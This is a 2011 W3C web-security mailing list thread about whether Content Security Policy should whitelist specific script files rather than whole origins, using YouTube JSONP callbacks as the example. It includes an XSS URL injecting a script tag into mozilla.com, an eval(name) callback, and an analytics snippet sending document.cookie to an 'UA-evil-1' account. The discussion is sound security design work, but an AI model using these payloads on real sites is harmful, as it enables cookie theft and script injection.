- From: <sird@rckc.at>
- Date: Mon, 30 May 2011 16:37:36 -0500
- To: Adam Barth <w3c@adambarth.com>
- Cc: public-web-security@w3.org, masatokinugawa@gmail.com
So you are saying a site using CSP should never include third party scripts (eg. analytics, tynt, etc..). Analytics for instance, creates the script dynamically, so you can't just add a nonce to the script, you have to add it to the generated script. Adsense is another thing, they might include scripts from even more origins, and those are inserted by the remote script so it's impossible to add nonces to them. So if you want to use adsense, you can't use CSP. Also, if you want to use the AJAX APIs, or the Maps API, or the Libraries APIs (http://code.google.com/apis/libraries/).. all of them are out of reach of sites wanting to use CSP. That last example is important given that the provided code is: <script type="text/javascript" src="https://www.google.com/jsapi?key=INSERT-YOUR-KEY"></script> And that will load scripts from even more places (ajax.googleapis.com), which means that those scripts will simply never have keys. script-nonce probably isn't the best way to solve this problem, but being able to do: script-src: https://www.google.com/jsapi which doesn't mean that you trust https://www.google.com/reader/status?callback=pwn() Or is there any reason to allow access to an Origin instead of something more granular? -- Eduardo On Mon, May 30, 2011 at 4:28 PM, Adam Barth <w3c@adambarth.com> wrote: > Lots of third-party interactions are tricky with CSP. For example, > it's difficult to use CSP on sites that contain advertisements because > those advertisements often end up including scripts from syndicates. > > I don't think being strict about Content-Type is going to solve the > problem. You still have the problem today that application/javascript > caries no authority without CSP and does carry authority with CSP. In > the specific example, we're just getting lucky that YouTube is > responding with application/json. It would be entirely reasonable for > them to respond with application/javascript, especially because JSONP > isn't valid JSON. > > One alternative, of course, is to use script-nonce, which lets the > site whitelist individual script loads instead of blanket-allowing > everything from an origin. > > Adam > > > On Mon, May 30, 2011 at 2:20 PM, sird@rckc.at <sird@rckc.at> wrote: >> Right, that's the problem. >> >> And to keep the web working, with Analytics, Tynt, etc.. people will >> trust their site to one script in youtube.com but not to all services >> that live there. >> >> A possible way to mitigate this problem, is if CSP forces Content-Type >> to be valid (it would be weird if youtube echoe's back JSON as >> text/javascript), or if Mozilla can just whitelist a specific file, >> instead of whitelisting the whole origin. >> >> My point being, that whitelisting the whole origin and giving no more >> granularity is not good enough for the type of applications that are >> being created. If CSP accepted files, or directories it would help to >> mitigate this problem. >> >> eg.: >> >> script-src: http://www.youtube.com/apis/video.js >> >> >> or >> >> script-src: http://www.youtube.com/apis/*.js >> >> >> Or, otherwise, what's the alternative that we give to Mozilla? Don't >> use Youtube? (specially, since this is not a security problem for >> Youtube, maybe they wont fix it.. there's no reason for them to, and >> the problem is in Mozilla). >> >> Greetings >> -- Eduardo >> >> >> >> >> On Mon, May 30, 2011 at 3:12 PM, Adam Barth <w3c@adambarth.com> wrote: >>> Ah, I understand. Sounds like YouTube isn't trustworthy. >>> >>> The more general problem is CSP imbues JavaScript responses with >>> authority, which isn't how the rest of the web works. That means when >>> sites, like YouTube, have reflections in their JavaScript, folks that >>> trust them get in trouble. >>> >>> Adam >>> >>> >>> On Mon, May 30, 2011 at 11:52 AM, sird@rckc.at <sird@rckc.at> wrote: >>>> The XSS in mozilla is: >>>> http://www.mozilla.com/search?q="><script+src="http://www.youtube.com/video/export?id=1337&callback=payload(here)"></script> >>>> >>>> Youtube has a service that lets you export a video details with JSONp, >>>> and accepts "callback". And callback is sanitized to only have >>>> ([a-zA-Z_$][a-zA-Z$_0-9]+[.])+ and parenthesis. >>>> >>>> Greetings!! >>>> -- Eduardo >>>> >>>> >>>> >>>> >>>> On Mon, May 30, 2011 at 1:49 PM, Adam Barth <w3c@adambarth.com> wrote: >>>>> I'm sorry. I'm not sure I follow. How is the attacker able to run >>>>> the script below? I agree that once the attacker can run script in >>>>> the honest site's security origin, the attacker has won. >>>>> >>>>> Adam >>>>> >>>>> >>>>> On Mon, May 30, 2011 at 11:36 AM, sird@rckc.at <sird@rckc.at> wrote: >>>>>> It's an example :P >>>>>> >>>>>> but ok, let's say the attacker uses: >>>>>> >>>>>> var _gaq = _gaq || []; >>>>>> _gaq.push(['_setAccount', 'UA-evil-1']); >>>>>> _gaq.push(['_trackPageview']); >>>>>> _gaq.push(['_trackEvent', 'cookies', 'add', document.cookie]); >>>>>> >>>>>> And uses google analytics to send data back to the attacker. >>>>>> >>>>>> Or let's say the attacker iframes youtube.com and loads a payload >>>>>> inside a gadget in youtube. >>>>>> >>>>>> Or let's say the attacker does the attack directly with XHR. >>>>>> >>>>>> >>>>>> -- Eduardo >>>>>> >>>>>> >>>>>> >>>>>> >>>>>> On Mon, May 30, 2011 at 1:00 PM, Adam Barth <w3c@adambarth.com> wrote: >>>>>>> On Mon, May 30, 2011 at 10:37 AM, Eduardo Vela <sirdarckcat@gmail.com> wrote: >>>>>>>> Hi List. >>>>>>>> >>>>>>>> I think this issue has came up before (can't find the thread but I've >>>>>>>> seen it) and Masato (cc'd) brought this up to us recently. >>>>>>>> >>>>>>>> What can a CSP user do in the following case: >>>>>>>> >>>>>>>> 1. www.mozilla.org trusts scripts from www.youtube.com because they >>>>>>>> use one of their scripts. >>>>>>>> 2. Attacker is able to do >>>>>>>> www.youtube.com/video/export?id=1337&callback=eval(name) >>>>>>> >>>>>>> Won't that be blocked because eval is blocked? >>>>>>> >>>>>>> Adam >>>>>>> >>>>>>> >>>>>>>> 3. Then Mozilla isn't capable of protecting using CSP. >>>>>>>> >>>>>>>> In general, Mozilla can't realistically know all the things we put in >>>>>>>> www.youtube.com. If Youtube doesn't care about CSP, there's no reason >>>>>>>> for them to fix it. And Mozilla might not be able to mirror the script >>>>>>>> to their own servers because it might change at any moment, and their >>>>>>>> site might break. >>>>>>>> >>>>>>>> Could it be possible to whitelist specific files, instead of complete >>>>>>>> origins? Maybe even global expressions (e.g. >>>>>>>> www.youtube.com/scripts/*.js)? >>>>>>>> Or.. maybe Mozilla shouldn't trust Youtube at all? >>>>>>>> What about.. Content-Type enforcement? Force scripts allowed on a CSP >>>>>>>> document to have the right Content-Type. >>>>>>>> >>>>>>>> How does this apply for the use case of stats services, captcha, ads, >>>>>>>> etc.. which all require external scripts? >>>>>>>> >>>>>>>> I think forcing the right Content-Type for scripts might be the best >>>>>>>> solution, and maybe a rule to override this behavior, comments? >>>>>>>> >>>>>>>> Thanks!! >>>>>>>> >>>>>>>> -- Eduardo >>>>>>>> >>>>>>>> >>>>>>> >>>>>> >>>>> >>>> >>> >> >
Received on Monday, 30 May 2011 21:38:23 UTC